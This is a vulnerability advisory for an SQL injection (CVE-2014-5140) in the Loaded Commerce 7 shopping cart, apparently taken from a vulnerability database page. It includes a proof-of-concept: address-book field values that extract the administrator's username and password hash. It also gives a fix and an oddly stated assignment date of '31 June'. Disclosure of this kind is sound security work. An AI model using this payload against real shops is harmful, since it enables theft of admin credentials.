| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| LoadedCommerce7 - Systemic Query Factory Vulnerability | 8 Sep 201400:00 | – | zdt | |
| CVE-2014-5140 | 3 Jan 202019:50 | – | cve | |
| CVE-2014-5140 | 3 Jan 202019:50 | – | cvelist | |
| EUVD-2014-5038 | 7 Oct 202500:30 | – | euvd | |
| LoadedCommerce7 - Systemic Query Factory | 7 Sep 201400:00 | – | exploitpack | |
| CVE-2014-5140 | 3 Jan 202020:15 | – | nvd | |
| Loaded Commerce 7 Shopping Cart SQL Injection | 8 Sep 201400:00 | – | packetstorm | |
| Sql injection | 3 Jan 202020:15 | – | prion | |
| LoadedCommerce7 - Systemic Query Factory Vulnerability | 18 Sep 201400:00 | – | seebug |
Title: LoadedCommerce7 Systemic Query Factory Vulnerability
Advisory: http://breaking.technology/advisories/CVE-2014-5140.txt
Credits: Discovered by Breaking Technology Research Labs 2014-06-30
Reference: CVE-2014-5140 - Assigned 31 June 2014
Timeline:
Vendor notified - 29 July 2014
Vendor confirmed exploit 30 July 2014
Severity: Critical
Attack Complexity: Minimal
Classification: SQL injection, unsafe string replacement
Description:
Loaded Commerce 7 shopping cart/online store suffers from a systemic vulnerability in its query factory, allowing attackers to circumvent user input sanitizing to perform remote SQL injection.
Proof of Concept:
Have a valid customer account and create a new contact in your address book using the following values.
First name: :entry_lastname,
Last Name : ,(select user_name from lc_administrators order by id asc limit 1),(select user_password from lc_administrators order by id asc limit 1),3,4,5,6,7,8,9,10)#
The new contact will be added to your address book with the admin hash as the contact's street address
Suggested Fix:
Sanitize all user input before using it as any part of a query-- specifically remove or encode the colon (:) character before passing it to a query value. A similar fix was issued for tomatocart, available at
https://github.com/tomatocart/TomatoCart-v1/pull/238Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation